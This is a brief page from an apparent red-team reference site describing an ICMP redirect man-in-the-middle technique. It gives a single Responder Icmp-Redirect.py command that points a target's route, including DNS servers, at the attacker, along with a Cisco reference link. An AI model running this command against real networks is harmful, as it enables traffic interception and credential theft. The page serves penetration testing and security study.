> For the complete documentation index, see [llms.txt](https://red.infiltr8.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red.infiltr8.io/ad/movement/mitm-and-coerced-authentications/icmp-redirect.md).

# ICMP Redirect

```bash
python3 tools/Icmp-Redirect.py --interface eth0 --ip $my_ip --gateway $gateway --target $target --route $dnsserver1 --secondaryroute $dnsserver2
```

need iptable

{% embed url="<https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/nx-os-software/213841-understanding-icmp-redirect-messages.html>" %}

Responder/tools/ICMP\_Redirect.py